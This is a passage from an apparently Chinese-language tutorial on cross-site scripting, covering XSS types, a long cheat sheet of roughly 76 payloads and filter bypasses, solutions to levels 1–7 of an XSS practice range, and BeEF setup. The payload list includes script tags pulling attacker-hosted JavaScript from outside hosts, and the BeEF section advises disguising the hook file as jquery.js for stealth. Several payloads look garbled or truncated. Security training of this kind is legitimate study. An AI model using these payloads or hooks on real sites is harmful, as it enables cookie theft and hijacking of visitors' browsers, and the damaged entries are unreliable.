&lt;p&gt;​	一般存在于 Form 表单提交等交互功能，如发帖留言，提交文本信息等，黑客利用的 XSS 漏洞，将内容经正常功能提交进入数据库持久保存，当前端页面获得后端从数据库中读出的注入代码时，恰好将其渲染执行。&lt;/p&gt;
&lt;p&gt;​	这种攻击多见于论坛，攻击者在发帖的过程中，将恶意脚本连同正常信息一起注入到帖子的内容之中。随着帖子被论坛服务器存储下来，恶意脚本也永久地被存放在论坛服务器的后端存储器中。当其它用户浏览这个被注入了恶意脚本的帖子的时候，恶意脚本则会在他们的浏览器中得到执行，从而受到了攻击。&lt;/p&gt;
&lt;p&gt;​	可以看到，存储型XSS的攻击方式能够将恶意代码永久地嵌入一个页面当中，所有访问这个页面的用户都将成为受害者。如果我们能够谨慎对待不明链接，那么反射型的XSS攻击将没有多大作为，而存储型XSS则不同，由于它注入的往往是一些我们所信任的页面，因此无论我们多么小心，都难免会受到攻击。可以说，存储型XSS更具有隐蔽性，带来的危害也更大，除非服务器能完全阻止注入，否则任何人都很有可能受到攻击。&lt;/p&gt;
&lt;h4&gt;3、DOM-based 型&lt;/h4&gt;
&lt;p&gt;​	客户端的脚本程序可以动态地检查和修改页面内容，而不依赖于服务器端的数据。例如客户端如从 URL 中提取数据并在本地执行，如果用户在客户端输入的数据包含了恶意的 JavaScript 脚本，而这些脚本没有经过适当的过滤和消毒，那么应用程序就可能受到 DOM-based XSS 攻击。需要特别注意以下的用户输入源 document.URL、 location.hash、 location.search、 document.referrer 等。&lt;/p&gt;
&lt;h4&gt;4、基于字符集的 XSS&lt;/h4&gt;
&lt;p&gt;​	哪怕现在很多的浏览器以及各种开源的库都专门针对了 XSS 进行转义处理，尽量默认抵御绝大多数 XSS 攻击，但是还是有很多方式可以绕过转义规则，让人防不胜防。比如「基于字符集的 XSS 攻击」就是绕过这些转义处理的一种攻击方式，比如有些 Web 页面字符集不固定，用户输入非期望字符集的字符，有时会绕过转义过滤规则。&lt;/p&gt;
&lt;p&gt;​	可以形成「基于字符集的 XSS 攻击」的原因是由于浏览器在 meta 没有指定 charset 的时候有自动识别编码的机制，所以这类攻击通常就是发生在没有指定或者没来得及指定 meta 标签的 charset 的情况下。&lt;/p&gt;
&lt;h4&gt;5、基于 Flash 的跨站 XSS&lt;/h4&gt;
&lt;p&gt;​	基于 Flash 的跨站 XSS 也是属于反射型 XSS 的一种，AS 脚本可以接受用户输入并操作 cookie，攻击者可以配合其他 XSS（持久型或者非持久型）方法将恶意 swf 文件嵌入页面中。主要是因为 AS 有时候需要和 JS 传参交互，攻击者会通过恶意的 XSS 注入篡改参数，窃取并操作cookie。&lt;/p&gt;
&lt;h4&gt;6、未经验证的跳转 XSS&lt;/h4&gt;
&lt;p&gt;​	有一些场景是后端需要对一个传进来的待跳转的 URL 参数进行一个 302 跳转，可能其中会带有一些用户的敏感（cookie）信息。如果服务器端做302 跳转，跳转的地址来自用户的输入，攻击者可以输入一个恶意的跳转地址来执行脚本。&lt;/p&gt;
&lt;h3&gt;五、Xss-Payload&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;等效替换（绕过方式）

&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;

&amp;lt;svg onload=alert(1)&amp;gt;

&amp;lt;a href=javascript:alert(1)&amp;gt;

&amp;lt;a href=&apos;javascript:alert(1)&apos;&amp;gt;aa&amp;lt;/a&amp;gt;

&amp;lt;img src=1 onerror=alert(&apos;xss&apos;)&amp;gt;

&amp;lt;a href=&apos;#&apos; onclick=alert(&apos;xss&apos;)&amp;gt;test&amp;lt;/a&amp;gt;

(1)普通的 XSS JavaScript 注入
&amp;lt;SCRIPT SRC=http://3w.org/XSS/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;

(2)IMG 标签 XSS 使用 JavaScript 命令
&amp;lt;IMG SRC=http://3w.org/XSS/xss.js/&amp;gt;

(3)IMG 标签无分号无引号
&amp;lt;IMG SRC=javascript:alert(&apos;XSS&apos;)&amp;gt;

(4)IMG 标签大小写不敏感
&amp;lt;IMG SRC=JaVaScRiPt:alert(&apos;XSS&apos;)&amp;gt;

(5)HTML 编码(必须有分号)
&amp;lt;IMG SRC=javascript:alert(&quot;XSS&quot;)&amp;gt;

(6)修正缺陷 IMG 标签
&amp;lt;IMG &quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;XSS&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;

(7)formCharCode 标签(计算器)
&amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;

(8)UTF-8 的 Unicode 编码(计算器)
&amp;lt;IMG SRC=jav..省略..S&apos;)&amp;gt;

(9)7 位的 UTF-8 的 Unicode 编码是没有分号的(计算器)
&amp;lt;IMG SRC=jav..省略..S&apos;)&amp;gt;

(10)十六进制编码也是没有分号(计算器)
&amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61..省略..&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;

(11)嵌入式标签,将 Javascript 分开
&amp;lt;IMG SRC=&quot;jav ascript:alert(&apos;XSS&apos;);&quot;&amp;gt;

(12)嵌入式编码标签,将 Javascript 分开
&amp;lt;IMG SRC=&quot;jav ascript:alert(&apos;XSS&apos;);&quot;&amp;gt;

(13)嵌入式换行符
&amp;lt;IMG SRC=&quot;jav ascript:alert(&apos;XSS&apos;);&quot;&amp;gt;

(14)嵌入式回车
&amp;lt;IMG SRC=&quot;jav ascript:alert(&apos;XSS&apos;);&quot;&amp;gt;

(15)嵌入式多行注入 JavaScript,这是 XSS 极端的例子
&amp;lt;IMG SRC=&quot;javascript:alert(&apos;XSS&apos;)&quot;&amp;gt;

(16)解决限制字符(要求同页面)
&amp;lt;script&amp;gt;z=&apos;document.&apos;&amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;z=z+&apos;write(&quot;&apos;&amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;z=z+&apos;&amp;lt;script&apos;&amp;lt;/script&amp;gt;&amp;lt;s
cript&amp;gt;z=z+&apos;
src=ht&apos;&amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;z=z+&apos;tp://ww&apos;&amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;z=z+&apos;w.shell&apos;&amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;z=z+&apos;.ne
t/1.&apos;&amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;z=z+&apos;js&amp;gt;&amp;lt;/sc&apos;&amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;z=z+&apos;ript&amp;gt;&quot;)&apos;&amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;eval_r(z)&amp;lt;
/script&amp;gt;

(17)空字符 12-7-1 T00LS - Powered by Discuz! Board
https://www.a.com/viewthread.php?action=printable&amp;amp;tid=15267 2/6perl -e &apos;print &quot;&amp;lt;IMG
SRC=java\0script:alert(\&quot;XSS\&quot;)&amp;gt;&quot;;&apos; &amp;gt; out

(18)空字符 2,空字符在国内基本没效果.因为没有地方可以利用
perl -e &apos;print &quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;XSS\&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;;&apos; &amp;gt; out

(19)Spaces 和 meta 前的 IMG 标签
&amp;lt;IMG SRC=&quot; javascript:alert(&apos;XSS&apos;);&quot;&amp;gt;

(20)Non-alpha-non-digit XSS
&amp;lt;SCRIPT/XSS SRC=&quot;http://3w.org/XSS/xss.js&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;

(21)Non-alpha-non-digit XSS to 2
&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;XSS&quot;)&amp;gt;

(22)Non-alpha-non-digit XSS to 3
&amp;lt;SCRIPT/SRC=&quot;http://3w.org/XSS/xss.js&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;

(23)双开括号
&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;XSS&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;

(24)无结束脚本标记(仅火狐等浏览器)
&amp;lt;SCRIPT SRChttp://3w.org/XSS/xss.js?&amp;lt;B&amp;gt;

(25)无结束脚本标记 2
&amp;lt;SCRIPT SRC=//3w.org/XSS/xss.js&amp;gt;

(26)半开的 HTML/JavaScript XSS
&amp;lt;IMG SRC=&quot;javascript:alert(&apos;XSS&apos;)&quot;

(27)双开角括号
&amp;lt;iframe src=http://3w.org/XSS.html &amp;lt;

(28)无单引号 双引号 分号
&amp;lt;SCRIPT&amp;gt;a=/XSS/alert(a.source)&amp;lt;/SCRIPT&amp;gt;

(29)换码过滤的 JavaScript
\&quot;;alert(&apos;XSS&apos;);//

(30)结束 Title 标签
&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;XSS&quot;);&amp;lt;/SCRIPT&amp;gt;

(31)Input Image
&amp;lt;INPUT SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&amp;gt;

(32)BODY Image
&amp;lt;BODY BACKGROUND=&quot;javascript:alert(&apos;XSS&apos;)&quot;&amp;gt;

(33)BODY 标签
&amp;lt;BODY(&apos;XSS&apos;)&amp;gt;

(34)IMG Dynsrc
&amp;lt;IMG DYNSRC=&quot;javascript:alert(&apos;XSS&apos;)&quot;&amp;gt;

(35)IMG Lowsrc
&amp;lt;IMG LOWSRC=&quot;javascript:alert(&apos;XSS&apos;)&quot;&amp;gt;

(36)BGSOUND
&amp;lt;BGSOUND SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&amp;gt;

(37)STYLE sheet
&amp;lt;LINK REL=&quot;stylesheet&quot; HREF=&quot;javascript:alert(&apos;XSS&apos;);&quot;&amp;gt;

(38)远程样式表
&amp;lt;LINK REL=&quot;stylesheet&quot; HREF=&quot;http://3w.org/xss.css&quot;&amp;gt;

(39)List-style-image(列表式)
&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;javascript:alert(&apos;XSS&apos;)&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS

(40)IMG VBscript
&amp;lt;IMG SRC=&apos;vbscript:msgbox(&quot;XSS&quot;)&apos;&amp;gt;&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS

(41)META 链接 url
&amp;lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0;URL=http://;URL=javascript:alert(&apos;XSS&apos;);&quot;&amp;gt;

(42)Iframe
&amp;lt;IFRAME SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;

(43)Frame
&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;12-7-1 T00LS - Powered by Discuz!
Boardhttps://www.a.com/viewthread.php?action=printable&amp;amp;tid=15267 3/6

(44)Table
&amp;lt;TABLE BACKGROUND=&quot;javascript:alert(&apos;XSS&apos;)&quot;&amp;gt;

(45)TD
&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;javascript:alert(&apos;XSS&apos;)&quot;&amp;gt;

(46)DIV background-image
&amp;lt;DIV STYLE=&quot;background-image: url(javascript:alert(&apos;XSS&apos;))&quot;&amp;gt;

(47)DIV background-image 后加上额外字符(1-32&amp;amp;34&amp;amp;39&amp;amp;160&amp;amp;8192-8&amp;amp;13&amp;amp;12288&amp;amp;65279)
&amp;lt;DIV STYLE=&quot;background-image: url(javascript:alert(&apos;XSS&apos;))&quot;&amp;gt;

(48)DIV expression
&amp;lt;DIV STYLE=&quot;width: expression_r(alert(&apos;XSS&apos;));&quot;&amp;gt;

(49)STYLE 属性分拆表达
&amp;lt;IMG STYLE=&quot;xss:expression_r(alert(&apos;XSS&apos;))&quot;&amp;gt;

(50)匿名 STYLE(组成:开角号和一个字母开头)
&amp;lt;XSS STYLE=&quot;xss:expression_r(alert(&apos;XSS&apos;))&quot;&amp;gt;

(51)STYLE background-image
&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;javascript:alert(&apos;XSS&apos;)&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;ACLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;

(52)IMG STYLE 方式
exppression(alert(&quot;XSS&quot;))&apos;&amp;gt;

(53)STYLE background
&amp;lt;STYLE&amp;gt;&amp;lt;STYLEtype=&quot;text/css&quot;&amp;gt;BODY{background:url(&quot;javascript:alert(&apos;XSS&apos;)&quot;)}&amp;lt;/STYLE&amp;gt;

(54)BASE
&amp;lt;BASE HREF=&quot;javascript:alert(&apos;XSS&apos;);//&quot;&amp;gt;

(55)EMBED 标签,你可以嵌入 FLASH,其中包涵 XSS
&amp;lt;EMBED SRC=&quot;http://3w.org/XSS/xss.swf&quot; &amp;gt;&amp;lt;/EMBED&amp;gt;

(56)在 flash 中使用 ActionScrpt 可以混进你 XSS 的代码
a=&quot;get&quot;;b=&quot;URL(\&quot;&quot;;c=&quot;javascript:&quot;;d=&quot;alert(&apos;XSS&apos;);\&quot;)&quot;;eval_r(a+b+c+d);

(57)XML namespace.HTC 文件必须和你的 XSS 载体在一台服务器上
&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;xss&quot;
implementation=&quot;http://3w.org/XSS/xss.htc&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;

(58)如果过滤了你的 JS 你可以在图片里添加 JS 代码来利用
&amp;lt;SCRIPT SRC=&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;

(59)IMG 嵌入式命令,可执行任意命令
&amp;lt;IMG SRC=&quot;http://www.a.com/a.php?a=b&quot;&amp;gt;

(60)IMG 嵌入式命令(a.jpg 在同服务器)
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&amp;amp;deleteuser

(61)绕符号过滤
&amp;lt;SCRIPT a=&quot;&amp;gt;&quot; SRC=&quot;http://3w.org/xss.js&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;

(62)&amp;lt;SCRIPT =&quot;&amp;gt;&quot; SRC=&quot;http://3w.org/xss.js&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;

(63)&amp;lt;SCRIPT a=&quot;&amp;gt;&quot; &quot; SRC=&quot;http://3w.org/xss.js&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;

(64)&amp;lt;SCRIPT &quot;a=&apos;&amp;gt;&apos;&quot; SRC=&quot;http://3w.org/xss.js&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;

(65)&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;http://3w.org/xss.js&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;

(66)12-7-1 T00LS - Powered by Discuz! Board
https://www.a.com/viewthread.php?action=printable&amp;amp;tid=15267 4/6&amp;lt;SCRIPT a=&quot;&amp;gt;&apos;&amp;gt;&quot;
SRC=&quot;http://3w.org/xss.js&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;

(67)&amp;lt;SCRIPT&amp;gt;document.write(&quot;&amp;lt;SCRI&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;http://3w.org/xss.js&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;

(68)URL 绕行
&amp;lt;A HREF=&quot;http://127.0.0.1/&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;

(69)URL 编码
&amp;lt;A HREF=&quot;http://3w.org&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;

(70)IP 十进制
&amp;lt;A HREF=&quot;http://3232235521′′&amp;gt;XSS&amp;lt;/A&amp;gt;

(71)IP 十六进制
&amp;lt;A HREF=&quot;http://0xc0.0xa8.0×00.0×01′′&amp;gt;XSS&amp;lt;/A&amp;gt;

(72)IP 八进制
&amp;lt;A HREF=&quot;http://0300.0250.0000.0001′′&amp;gt;XSS&amp;lt;/A&amp;gt;

(73)混合编码
&amp;lt;A HREF=&quot;http://6 6.000146.0×7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;

(74)节省[http:]
&amp;lt;A HREF=&quot;//www.google.com/&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;

(75)节省[www]
&amp;lt;A HREF=&quot;http://google.com/&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;

(76)绝对点绝对 DNS
&amp;lt;A HREF=&quot;http://www.google.com./&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;

拆分跨站
    &amp;lt;script&amp;gt;z=&apos;alert&apos;&amp;lt;/script&amp;gt;
    &amp;lt;script&amp;gt;z=z+&apos;(/xss/)&apos;&amp;lt;/script&amp;gt;
    &amp;lt;script&amp;gt;eval(z)&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;六、XSS靶场&lt;/h3&gt;
&lt;p&gt;能够成功执行js脚本就算成功，譬如用alert弹出某些信息，当然也可以换成跳转成其他页面&lt;/p&gt;
&lt;h4&gt;level-1&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;按F12或者右键查看网页源代码，查找test位置进行xss注入（最好是看网页源代码，因为F12的开发者模式是经过加工经过修饰的最终输出结果，并不是网页最原始最真实的代码）

&amp;lt;h2 align=center&amp;gt;欢迎用户test&amp;lt;/h2&amp;gt;&amp;lt;center&amp;gt;&amp;lt;img src=level1.png&amp;gt;&amp;lt;/center&amp;gt;

因为网页没有做任何的js过滤，所以只需要在欢迎用户后面填上js代码

输入：&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;（原本欢迎用户后面是test，现在换成了js代码）

输出：http://127.0.0.1/xss/level1.php?name=&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;

这样html就会把这个js脚本文件当成网页源代码的一部分执行，这样就会跳出来那个框框了
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;level-2&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;查看网页源代码

&amp;lt;input name=keyword  value=&quot;test&quot;&amp;gt;可以发现因为带了双引号的缘故，js脚本代码无法执行

因此本关需要闭合双引号绕过

输入：&quot;&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;

输入后就变成了这样的代码，实现了闭合，右侧的双引号可以不用理会不影响

输出：&amp;lt;input name=keyword  value=&quot;&quot;&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;level-3&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;查看网页源代码

&amp;lt;input name=keyword  value=&apos;&apos;&amp;gt;	

此时就可以发现F12显示的是双引号但是网页源代码是单引号，所以最好右键查看网页源代码

测试网页对哪些参数进行了过滤

输入：&apos;&amp;gt;&amp;lt;&quot;script onclick   (onclick是点击事件，还有中间有空格别忘记了，这也是测试空格是否被过滤）

【测试输入也可以变换成 &apos; &quot;&amp;lt;script&amp;gt; onclick href img src 会更加完整,下文会提及】

再次查看网页源代码可以看到

输出：&amp;lt;input name=keyword  value=&apos;&apos;&amp;amp;gt;&amp;amp;lt;&amp;amp;quot;script onclick&apos;&amp;gt;	

可以发现 &amp;gt; &amp;lt; &quot; 都被过滤了

所以 &apos; script onclick 没有被过滤，先记下来（其中script也是不能用的因为没有&amp;gt;&amp;lt;号），能用的也就只有 &apos; onclick,再去Xss-Payload查看是否有能替换的，能在标签内部被使用的）

输入：&apos; onclick=&apos;alert(1)

输出：&amp;lt;input name=keyword  value=&apos;&apos; onclick=&apos;alert(1)&apos;&amp;gt;

因为输入的是点击事件，所以还需要点击一下输入框才会弹出

回忆一下点击事件的关键词：

onclick：在鼠标左健点击弹起之后触发的事件，即一次完整的鼠标点击过程。过程完成瞬间触发函数。

onmousedown：事件会在鼠标按键被按下时发生。

onmouseup：事件会在松开鼠标按键时触发。

onmouseover：属性在鼠标指针移动到元素上时触发。

onmouseout： 属性在鼠标指针移动到元素外时触发。

onmouseenter：属性在鼠标指针移动到元素上时触发,
              onmouseover和onmouseenter唯一的区别是 onmouseenter 事件不支持冒泡。
			  
onmouseleave：属性在鼠标指针移动到元素外时触发,
              onmouseout和onmouseleave唯一的区别是 onmouseleave 事件不支持冒泡。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;level-4&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;查看网页源代码

&amp;lt;input name=keyword  value=&quot;try harder!&quot;&amp;gt; （本关输入框里面就不是test了，而是try harder!，所以找try harder!）

可以发现是用双引号闭合起来的

测试网页对哪些参数进行了过滤
 
输入：&apos;&amp;gt;&amp;lt;&quot;script onclick   

再次查看网页源代码可以看到

输出：&amp;lt;input name=keyword  value=&quot;&apos;&quot;script onclick&quot;&amp;gt;

可以发现&amp;gt;&amp;lt;都被删了，所以此处就不能用script

还是要想着在元素内部就能触发的一种形式，就譬如点击事件

输入：&quot;onmouseover=&quot;alert(1)      [onmouseover：属性在鼠标指针移动到元素上时触发。]

输出：&amp;lt;input name=keyword  value=&quot;&quot;onmouseover=&quot;alert(1)&quot;&amp;gt;

将鼠标移到输入框即可完成本关
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;level-5&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;查看网页源代码

&amp;lt;input name=keyword  value=&quot;find a way out!&quot;&amp;gt;

可以发现是用双引号闭合起来的

测试网页对哪些参数进行了过滤
 
输入：&apos;&amp;gt;&amp;lt;&quot;script onclick   

再次查看网页源代码可以看到

输出：&amp;lt;input name=keyword  value=&quot;&apos;&amp;gt;&amp;lt;&quot;script o_nclick&quot;&amp;gt;

发现onclick中间多了条下划线，所以我们需要改变输入的测试代码

输入：&apos; &quot;&amp;lt;script&amp;gt; onclick

输出：&amp;lt;input name=keyword  value=&quot;&apos; &quot;&amp;lt;scr_ipt&amp;gt; o_nclick&quot;&amp;gt;

可以发现script也不能用

所以此时我们就需要从Xss-Payload中去测试其他参数看一下行不行了

输入：&apos; &quot;&amp;lt;script&amp;gt; onclick href img src (on都被过滤了，所以onerror自然也就不行，这边就不写了）

输出：&amp;lt;input name=keyword  value=&quot;&apos; &quot;&amp;lt;scr_ipt&amp;gt; o_nclick href img&quot;&amp;gt;

所以此时可以发现href和img都可以使用（具体xss注入样式看Xss-Payload也就是第四部分）

输入：&quot;&amp;gt; &amp;lt;a href=javascript:alert(1)&amp;gt; HelloWorld &amp;lt;/a&amp;gt;//   (//在html中是注释符的意思，加上//后面的参数都没掉了，在此处，最末尾的&quot;和&amp;gt;消失了)

输出：&amp;lt;input name=keyword  value=&quot;&quot;&amp;gt; &amp;lt;a href=javascript:alert(1)&amp;gt; HelloWorld &amp;lt;/a&amp;gt;//&quot;&amp;gt;

此时的HelloWorld发现是可被点击，再点击一下HelloWorld，则会跳转到javascript:alert(1)这个语句并执行它，完成本关
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;level-6&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;查看网页源代码

&amp;lt;input name=keyword  value=&quot;break it out!&quot;&amp;gt;

可以发现是用双引号闭合起来的

测试网页对哪些参数进行了过滤
 
输入：&apos; &quot;&amp;lt;script&amp;gt; onclick href img src  

再次查看网页源代码可以看到

输出：&amp;lt;input name=keyword  value=&quot;&apos; &quot;&amp;lt;scr_ipt&amp;gt; o_nclick hr_ef img sr_c&quot;&amp;gt;

可以发现script、onclick、href、src都不能用 （src不能使用img也无法使用，因为img的xss注入代码是这样的&amp;lt;img src=1 onerror=alert(&apos;xss&apos;)&amp;gt;）

所以此时我们就需要回顾回顾sql注入的一些绕过方式，像什么双写绕过啊，大小写绕过等

输入：&quot; Onclick=&quot;alert(1)

输出：&amp;lt;input name=keyword  value=&quot;&quot; Onclick=&quot;alert()&quot;&amp;gt;

发现并没有被过滤，可以完整的执行

点击输入框即可完成本关

我们再尝试一下用script的方式，因为&amp;gt;&amp;lt;并没有被过滤，同样将其中的一些小写字母转换成大写字母

输入：&quot;&amp;gt;&amp;lt;scRipt&amp;gt;alert(1)&amp;lt;/scRipt&amp;gt;

输出：&amp;lt;input name=keyword  value=&quot;&quot;&amp;gt;&amp;lt;scRipt&amp;gt;alert(1)&amp;lt;/scRipt&amp;gt;&quot;&amp;gt;

一样可以成功执行通过本关
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;level-7&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;查看网页源代码

&amp;lt;input name=keyword  value=&quot;move up!&quot;&amp;gt;

可以发现是用双引号闭合起来的

测试网页对哪些参数进行了过滤
 
输入：&apos; &quot;&amp;lt;script&amp;gt; onclick href img src  

再次查看网页源代码可以看到

输出：&amp;lt;input name=keyword  value=&quot;&apos; &quot;&amp;lt;&amp;gt; click  img &quot;&amp;gt;

可以发现script、onclick、href、src都不能使用，其中的script、href、src、onclick中的on甚至被删了

那我们就可以猜想它有可能只删了一次，不会删两次，所以这里我们使用双写绕过的方式

输入：&quot; oonnclick=&quot;alert(1)

输出：&amp;lt;input name=keyword  value=&quot;&quot; onclick=&quot;alert(1)&quot;&amp;gt;

点击输入框即可完成本关

img src我们没有试过，那就来试试img src这种xss注入方式吧

输入：&quot;&amp;gt; &amp;lt;img ssrcrc=1 oonnerror=alert(&apos;xss&apos;)&amp;gt;

输出：&amp;lt;input name=keyword  value=&quot;&quot;&amp;gt; &amp;lt;img ssrcrc=1 oonnerror=alert(&apos;xss&apos;)&amp;gt;&quot;&amp;gt;

可以被成功执行，完成本关

这个xss靶场的关卡大概20关左右，但是其中的很多xss注入方式我们在现实生活中都不一定会遇得到，后面的关卡写的越来越离谱了，所以这里只是做一些比较可能常用的xss注入
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;七、XSS工具——Beef&lt;/h3&gt;
&lt;h4&gt;1、beef介绍&lt;/h4&gt;
&lt;p&gt;​	BeeF是前欧美最流行的web框架攻击平台，kali 集成Beef，而且Beef有很多好使的payload。例如，通过XSS这个简单的漏洞，BeeF可以通过一段编制好的javascript控制目标主机的浏览器，通过浏览器拿到各种信息并且扫描内网信息，同时能够配合metasploit进一步渗透主机，强大的有些吓人。
beef也是属于c/s结构，具体看图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-11-xss/0c19686495-20191102224843509.png&quot; alt=&quot;20191102224843509&quot; /&gt;&lt;/p&gt;
&lt;p&gt;​	zombie（僵尸）即受害的浏览器。zombie是被hook（勾连）的，如果浏览器访问了有勾子（由js编 写）的页面，就会被hook，勾连的浏览器会执行初始代码返回一些信息，接着zombie会每隔一段时间 （默认为1秒）就会向BeEF服务器发送一个请求，询问是否有新的代码需要执行。BeEF服务器本质上就 像一个Web应用，被分为前端UI，和后端。前端会轮询后端是否有新的数据需要更新，同时前端也可以向后端发送指示， BeEF持有者可以通过浏览器来登录BeEF 的后台管理UI。&lt;/p&gt;
&lt;h4&gt;2、kali下使用beef&lt;/h4&gt;
&lt;p&gt;kali默认已经安装了beef，但是我的kali没有，我也不知道为什么0.0，那就自己装一个吧。命令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt install beef-xss
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;kali已经把beef-xss做成服务了，推荐使用systemctl 命令来启动或关闭beef服务器&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;systemctl start beef-xss.service  #开启beef 
systemctl stop beef-xss.service     #关闭beef 
systemctl restart beef-xss.service  #重启beef
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;配置beef&lt;/p&gt;
&lt;p&gt;kali下的BeeF配置文件在 /usr/share/beef-xss/conﬁg.yaml,其它的配置文件也在这个目录的子目录 下，往后在使用某些功能时，需要修改对应的配置文件。自主安装的BeeF配置文件会在BeeF的主目录 下conﬁg.yaml,建议修改几个地方：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;permitted_hooking_subnet: &quot;0.0.0.0/0&quot;     #指定某个网段，只有在这个网段的浏览器才能被hook
permitted_ui_subnet: &quot;0.0.0.0/0&quot;          #指定某个网段，只有在这个网段的浏览器才能访问管理UI
                            #上面这两项都是可以被绕过的，只要使用X-Forwarded-For首部绕过，一般不需要设置
host: &quot;0.0.0.0&quot;                           #设置beef服务器的主机， 如果有自己的域名， 那么可以设置自己的域名, 没有就使用默认
port: &quot;3000&quot;                              #设置beef服务器监听的端口， 可以自己定一个，比如8080, 记得端口号需要大于1024
xhr_poll_timeout: 1000                    #受害浏览器轮询beef主机的时间， 默认为1秒，可以设置为更低。
public: &quot;&quot;                                #public hostname/IP address 
public_port: &quot;&quot;                           #experimental 
                   # 这是让BeEF运行在一个反向代理或者NAT环境下才需要设置的。 
web_ui_basepath: &quot;/ui&quot;                    #管理页面的URI， 默认是/ui, 建议修改，这样就不会让别人找到你的管理页面
hook_file: &quot;/hook.js&quot;                     #hook_file 的名称， 建议修改， 可以修改为jquery.js之类的来提升隐蔽性
credentials: user: &quot;beef&quot; passwd: &quot;beef&quot;  #管理页面登录的用户名和密码， 这个一定要改，两个都改是最好的
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3、实际操作&lt;/h4&gt;
&lt;p&gt;接下来实际使用BeEF，体验一下。首先修改监听的ip地址为kali的ip&lt;/p&gt;
